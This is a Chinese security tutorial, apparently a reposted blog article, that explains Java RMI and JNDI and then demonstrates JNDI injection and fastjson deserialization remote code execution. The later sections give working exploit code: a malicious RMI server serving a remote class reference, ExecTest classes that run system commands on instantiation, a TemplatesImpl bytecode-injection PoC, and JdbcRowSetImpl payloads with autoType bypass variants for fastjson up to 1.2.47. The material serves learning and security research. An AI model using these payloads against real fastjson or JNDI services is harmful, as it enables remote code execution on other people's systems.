热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

fastjson反序列化过滤字段属性_原创干货|从RMI入门到fastjson反序列化RCE

关注我,让我成为你的专属小太阳吧RMI入门什么是RMIRMI(RemoteMethodInvocation)为远程方法调用,是允许运行在一个Java虚拟
56903bf362ea1a0adb629808bc8d021a.giff63314b8f208383673c21e7e1b655188.pngf63314b8f208383673c21e7e1b655188.png关注我,让我成为你的专属小太阳吧

RMI入门

什么是RMI

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中,它的底层是由socketjava序列化和反序列化支撑起来的。

Java RMI:Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

我们知道远程过程调用(Remote Procedure Call, RPC)可以用于一个进程调用另一个进程(很可能在另一个远程主机上)中的过程,从而提供了过程的分布能力。Java 的 RMI 则在 RPC 的基础上向前又迈进了一步,即提供分布式对象间的通讯。

那么会引出以下几个问题?

1.远程对象的发现问题

在调用远程对象的方法之前需要一个远程对象的引用,如何获得这个远程对象的引用在RMI中是一个关键的问题?

答案:在我们日常使用网络时,基本上都是通过域名来定位一个网站,但是实际上网络是通过IP地址来定位网站的,因此其中就需要一个映射的过程,域名系统(DNS)就是为了这个目的出现的,在域名系统中通过域名来查找对应的IP地址来访问对应的服务器。那么对应的,IP地址在这里就相当于远程对象的引用,而DNS则相当于一个注册表(Registry)。而域名在RMI中就相当于远程对象的标识符,客户端通过提供远程对象的标识符访问注册表,来得到远程对象的引用。这个标识符是类似URL地址格式的,也就是后面我们所说的RMIRegistry

2.数据的传递问题

我们都知道在Java程序中引用类型(不包括基本类型)的参数传递是按引用传递的,对于在同一个虚拟机中的传递时是没有问题的,因为的参数的引用对应的是同一个内存空间,但是对于分布式系统中,由于对象不再存在于同一个内存空间,虚拟机A的对象引用对于虚拟机B没有任何意义,问题如何解决?

当客户端通过RMI注册表找到一个远程接口的时候,所得到的其实是远程接口的一个动态代理对象。当客户端调用其中的方法的时候,方法的参数对象会在序列化之后,传输到服务器端。服务器端接收到之后,进行反序列化得到参数对象。并使用这些参数对象,在服务器端调用实际的方法。调用的返回值Java对象经过序列化之后,再发送回客户端。客户端再经过反序列化之后得到Java对象,返回给调用者。这中间的序列化过程对于使用者来说是透明的,由动态代理对象自动完成。

RMI的通信模型

从方法调用角度来看,RMI要解决的问题,是让客户端对远程方法的调用可以相当于对本地方法的调用而屏蔽其中关于远程通信的内容,即使在远程上,也和在本地上是一样的。

形象理解:实际上,客户端只与代表远程主机中对象的Stub对象进行通信,丝毫不知道Server的存在。客户端只是调用Stub对象中的本地方法,Stub对象是一个本地对象,它实现了远程对象向外暴露的接口,也就是说它的方法和远程对象暴露的方法的签名是相同的。客户端认为它是调用远程对象的方法,实际上是调用Stub对象中的方法。可以理解为Stub对象是远程对象在本地的一个代理,当客户端调用方法的时候,Stub对象会将调用通过网络传递给远程对象。

97864e6d445c3eba29739c66ea253430.png

RMI远程调用步骤(图解)

1、客户对象调用客户端辅助对象上的方法

2、客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象

3、服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象

4、调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象

5、服务端辅助对象将结果打包,发送给客户端辅助对象

6、客户端辅助对象将返回值解包,返回给客户对象

7、客户对象获得返回值

简单的实现

5486a347f42593a123e8c2123fed9702.png

package main;import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloService extends Remote { // Remote method should throw RemoteException public String service(String data) throws RemoteException;}package main;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class HelloServiceImpl extends UnicastRemoteObject implements HelloService { private static final long serialVersionUID = 1L; private String name; public HelloServiceImpl(String name) throws RemoteException { super(); this.name = name; // UnicastRemoteObject.exportObject(this, 0); } @Override public String service(String data) throws RemoteException { return data + name; }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class Server { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); HelloService service1 = new HelloServiceImpl("service1"); Naming.rebind("rmi://localhost:1099/HelloService1",service1); } catch (RemoteException | MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("Successfully register a remote object."); }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class Client { public static void main(String[] args) { // TODO Auto-generated method stub String url = "rmi://localhost:1099/"; try { HelloService serv = (HelloService) Naming.lookup(url + "HelloService1"); String data = "This is RMI Client."; System.out.println(serv.service(data)); } catch (RemoteException e) { e.printStackTrace(); } catch (NotBoundException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } }}

总结一句:Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

2d790d37d40b7c20449c18b6b8216dbc.png

5ad6bc1bf33bb717e43def8c7a770c96.png

1abb3fcd5357ac7598d0f2c92e74a165.png

从代码中我们可以看出,远程接口中的所有方法必须声明它们可以引发异常 java.rmi.RemoteExceptionRemoteException当发生任何类型的网络错误时,都会引发此异常(实际上是的许多子类之一 ):例如,服务器可能崩溃,网络可能会失败,或者您可能由于某种原因而请求一个不可用的对象。

攻击RMI服务端

1c60e3867a34657a91711dba3359b659.png

抓包

db333dd6094c66fb6f5a9f3c464b637b.png

既然传输的时候需要经过序列化及反序列化,这要求相应的类必须实现 java.io.Serializable 接口,然而代码里面没看到?

请看如下:

511647f94ebc1d6213df6570ef4fc08c.png

cabd2a883c85c5f3051b9846868de027.png

796f9580db0b68798ecf11a1bd25e461.png

作用

总结一句:Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

JNDI入门

什么是JNDI?

JNDI(Java Naming and Directory Interface),名为 Java命名和目录接口,JNDI是Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。放两张直观的图

11dfbc25697b235545243a6fd7f149d1.png

c0fd4cbf4ae165c3e9f1ccf5d76b8e92.png

使用JNDI的好处

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。

小小的Demo

package learnjndi;import java.io.Serializable;import java.rmi.Remote;public class Person implements Remote,Serializable { private static final long serialVersionUID = 1L; private String name; private String password; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String toString(){ return "name:"+name+" password:"+password; }}

package learnjndi;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.spi.NamingManager;public class test { public static void initPerson() throws Exception{ //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常 LocateRegistry.createRegistry(3001); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001"); 初始化 InitialContext ctx = new InitialContext(); //实例化person对象 Person p = new Person(); p.setName("Decade"); p.setPassword("xiaobai"); //person对象绑定到JNDI服务中,JNDI的名字叫做:person,即我们可以通过person键值,来对Person对象进行索引 ctx.bind("person", p); ctx.close(); } public static void findPerson() throws Exception{ //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了 InitialContext ctx = new InitialContext(); //通过lookup查找person对象 Person person = (Person) ctx.lookup("person"); //打印出这个对象 System.out.println(person.toString()); ctx.close(); } public static void main(String[] args) throws Exception { initPerson(); findPerson(); }}

c69838b0f3225675c38da48e9d7c1e0a.png

在运行的一瞬间,可以看到确实开放了3001端口

4d226fd3b5fcb54f21e1edde56d3e9d4.png

用Debug的状态来看

357faaeb3af5bd6de35836669cb2f4ad.png

JNDI协议动态转换

在开始谈JNDI注入之前,先谈一谈为什么会引起JNDI注入。上面的Demo里面,在初始化就预先指定了其上下文环境(RMI),但是在调用 lookup() 时,是可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 RMi的 URI 格式去转换(该变)上下文环境,使之访问 RMI 服务上的绑定对象:

Person person = (Person) ctx.lookup("rmi://localhost:3001/person");

4e0fafec44b8a44fc56021029c25ddd5.png

JNDI注入

可以看到得到同样的效果,但是如果这个lookup参数我们可以控制呢?

84a0f1b7e29aa92778d13f5d2acdb4fb.png37912ebe1fc2747dcc409df3502e2fb1.png

这里由于jdk版本(java1.8.231)过高,导致的没有攻击成功,这里为了简便用的是marshalsec反序列化工具

低版本测试?

这里选用的是jd k1.7.17版本。

import javax.naming.Context;import javax.naming.InitialContext;public class CLIENT { public static void main(String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); }}

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class SERVER { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'"); registry.bind("aa", refObjWrapper); }}

import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class ExecTest { public ExecTest() throws IOException,InterruptedException{ String cmd="whoami"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }}

a19057454fcb53b7c7713576970db764.png

一步一步跟踪,可以看到这里如果是Reference类的话,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址,如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。

40bc4dfaf8677e8d0b5e642468b6f9aa.png

最终调用了GetObjectInsacne函数,跟踪到如下,这里有两处可以实现任意命令执行,分别是两处标红的代码。

16805ea516b1dda619c7c65079fe2d71.png

可以看到最后用newInstance实例化了类,实例化会默认调用构造方法、静态代码块,那么也就执行了我们的whoami命令

6e9721e1bd49b9ab5d95c6e2b8c08adc.png

当然这里会报错,那么我们修改一下ExecTest类的写法。

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class ExecTest implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) { exec("calc"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); }}

至于为什么要重写getObjectInstance方法,是因为这里用到的第二处可以任意命令执行的地方,如下图所示,就不会报错了。这就是整个jndi的一个实现过程。

a4eec3c6365a0c486a93fa138b75cce0.png

2ca259e32d2fd9d06b0f5327f41f5947.png

JNDI的条件与限制

条件一:我们需要服务端存在以下代码,并且uri可控

String uri = "rmi://127.0.0.1:1099/aa";Context ctx = new InitialContext();ctx.lookup(uri);

条件二:jdk版本

可以看到要实现JNDI注入的话jdk版本需要符合一定条件,具体到哪个版本之后不能使用呢,笔者由于时间有限,并没一个一个测,如果有师傅愿意尝试的话可以去研究一下,当然这里也有限制

柳暗花明又一村

最先其实也说了,我们JNDI其实类似于一个api,而我测的代码也仅仅就只有rmi服务,我们下面测试一下ladp服务,当然也同样为了简便,用的是marshalsec反序列化工具,这里测试的jdk版本为jdk1.7.17

e68777a7beda5eb744d9791dd9454d90.png

相对来说ldap使用范围更广,如下图所示

a0d3abed0f68e19ecfb9ce2294da3716.png

fastjson反序列化-RCE

简介

fastjson是alibaba开源的一款高性能功能完善的JSON库,项目链接https://github.com/alibaba/fastjson/。

前置知识

import com.alibaba.fastjson.JSON;import java.util.Properties;public class User { public String name; private int age; private Boolean sex; private Properties prop; public User(){ System.out.println("User() is called"); } public void setAge(int age){ System.out.println("setAge() is called"); this.age = age; } public int getAge(){ System.out.println("getAge() is called"); return 1; } public void setName(String aa){ System.out.println("setName() is called"); this.name=aa; } public String getName(){ System.out.println("getName() is called"); return this.name; } public void setSex(boolean a){ System.out.println("setSex() is called"); this.sex = a; } public Boolean getSex(){ System.out.println("getSex() is called"); return this.sex; } public Properties getProp(){ System.out.println("getProp() is called"); return this.prop; } public void setProp(Properties a){ System.out.println("setProp() is called"); this.prop=a; } public String toString(){ String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s; } public static void main(String[] args){ String jsonstr = "{\"@type\":\"User\", \"name\":\"Tom\", \"age\": 1, \"prop\": {}, \"sex\": 1}"; System.out.println("=========JSON.parseObject======"); Object obj1 = JSON.parseObject(jsonstr); System.out.println("=========JSON.parseObject指定类======"); Object obj3 = JSON.parseObject(jsonstr,User.class); System.out.println("=========JSON.parse======"); Object obj2 = JSON.parse(jsonstr); }}

这段代码就是在模拟Json字符串转换成User对象的过程,执行结果为:

1f70801336b62490616f4358c819de5d.png

@type用来指定Json字符串还原成哪个类对象,在反序列化过程中里面的一些函数被自动调用,Fastjson会根据内置策略选择如何调用这些函数,在文件com.alibaba.fastjson.util.JavaBeanInfo中有定义,简化如下

对于set函数主要有这几个条件:

1、方法名长度大于等于4  methodName.length() >= 42、方法名以set开头 method.getParameterTypes()2、方法不能为静态方法  !Modifier.isStatic(method.getModifiers())3、方法的类型为void或者为类自身的类型  (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))4、参数个数为1 method.getParameterTypes()==1

对于get函数主要有这几个条件:

1、方法名长度大于等于4   methodName.length() >= 42、方法名以get开头且第四个字母为大写 methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))3、方法不能为静态方法 !Modifier.isStatic(method.getModifiers())4、方法不能有参数 method.getParameterTypes().length == 05、方法的返回值必须为Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong之一 (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())

谨记:

public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。

getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用。

在此之前请多加本地fuzz,这是理解fastjson的前置知识。

fastjson的安全特性

  • 无参默认构造方法或者注解指定

  • Feature.SupportNonPublicField才能打开非公有属性的反序列化处理

  • @type可以指定反序列化任意类,(具体情况)调用其set,get方法

基于TemplatesImpl(1.2.22-1.2.24适用)

poc

适用范围:1.2.22-1.2.24

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class TemplatesImplPoc { public static String readClass(String cls) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String evilClassPath = System.getProperty("user.dir") + "\\src\\main\\java\\Test.class"; System.out.println(evilClassPath); String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]) { try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } }}

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); }}

//pom.xml加上如下几个依赖 commons-codecgroupId> commons-codecartifactId> 1.10version> dependency> xalangroupId> xalanartifactId> 2.7.2version> dependency> commons-iogroupId> commons-ioartifactId> 2.3version> dependency>

基于JdbcRowSetImpl(<1.2.24)

poc

import com.alibaba.fastjson.JSON;public class JdbcRowSetImplPoc { public static void main(String[] args) { String json &#61; "{\"&#64;type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}

基于JdbcRowSetImpl(1.2.25<&#61;fastjson<&#61;1.2.41)

poc

利用条件之一&#xff0c;需要开启autoType

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json &#61; "{\"&#64;type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}

基于JdbcRowSetImpl(1.2.25<&#61;fastjson<&#61;1.2.42)

poc

利用条件之一&#xff0c;需要开启autoType

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json &#61; "{\"&#64;type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}

基于JdbcRowSetImpl(fastjson<&#61;1.2.47)

poc

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json &#61; "{" &#43; " \"a\": {" &#43; " \"&#64;type\": \"java.lang.Class\", " &#43; " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"" &#43; " }, " &#43; " \"b\": {" &#43; " \"&#64;type\": \"com.sun.rowset.JdbcRowSetImpl\", " &#43; " \"dataSourceName\": \"ldap://localhost:1099/ExecTest\", " &#43; " \"autoCommit\": true" &#43; " }" &#43; "}"; JSON.parse(json); }}

扫码关注

有趣的灵魂在等你

9700f2d76feb443d49df1e43b767e3f1.png


推荐阅读
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文介绍了Redis的基础数据结构string的应用场景,并以面试的形式进行问答讲解,帮助读者更好地理解和应用Redis。同时,描述了一位面试者的心理状态和面试官的行为。 ... [详细]
  • Java太阳系小游戏分析和源码详解
    本文介绍了一个基于Java的太阳系小游戏的分析和源码详解。通过对面向对象的知识的学习和实践,作者实现了太阳系各行星绕太阳转的效果。文章详细介绍了游戏的设计思路和源码结构,包括工具类、常量、图片加载、面板等。通过这个小游戏的制作,读者可以巩固和应用所学的知识,如类的继承、方法的重载与重写、多态和封装等。 ... [详细]
  • 本文分享了一个关于在C#中使用异步代码的问题,作者在控制台中运行时代码正常工作,但在Windows窗体中却无法正常工作。作者尝试搜索局域网上的主机,但在窗体中计数器没有减少。文章提供了相关的代码和解决思路。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • 本文介绍了一个Java猜拳小游戏的代码,通过使用Scanner类获取用户输入的拳的数字,并随机生成计算机的拳,然后判断胜负。该游戏可以选择剪刀、石头、布三种拳,通过比较两者的拳来决定胜负。 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • 本文介绍了如何在给定的有序字符序列中插入新字符,并保持序列的有序性。通过示例代码演示了插入过程,以及插入后的字符序列。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • C# 7.0 新特性:基于Tuple的“多”返回值方法
    本文介绍了C# 7.0中基于Tuple的“多”返回值方法的使用。通过对C# 6.0及更早版本的做法进行回顾,提出了问题:如何使一个方法可返回多个返回值。然后详细介绍了C# 7.0中使用Tuple的写法,并给出了示例代码。最后,总结了该新特性的优点。 ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • 本文详细介绍了Java中vector的使用方法和相关知识,包括vector类的功能、构造方法和使用注意事项。通过使用vector类,可以方便地实现动态数组的功能,并且可以随意插入不同类型的对象,进行查找、插入和删除操作。这篇文章对于需要频繁进行查找、插入和删除操作的情况下,使用vector类是一个很好的选择。 ... [详细]
  • 从零学Java(10)之方法详解,喷打野你真的没我6!
    本文介绍了从零学Java系列中的第10篇文章,详解了Java中的方法。同时讨论了打野过程中喷打野的影响,以及金色打野刀对经济的增加和线上队友经济的影响。指出喷打野会导致线上经济的消减和影响队伍的团结。 ... [详细]
  • [大整数乘法] java代码实现
    本文介绍了使用java代码实现大整数乘法的过程,同时也涉及到大整数加法和大整数减法的计算方法。通过分治算法来提高计算效率,并对算法的时间复杂度进行了研究。详细代码实现请参考文章链接。 ... [详细]
author-avatar
传说中DE神
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有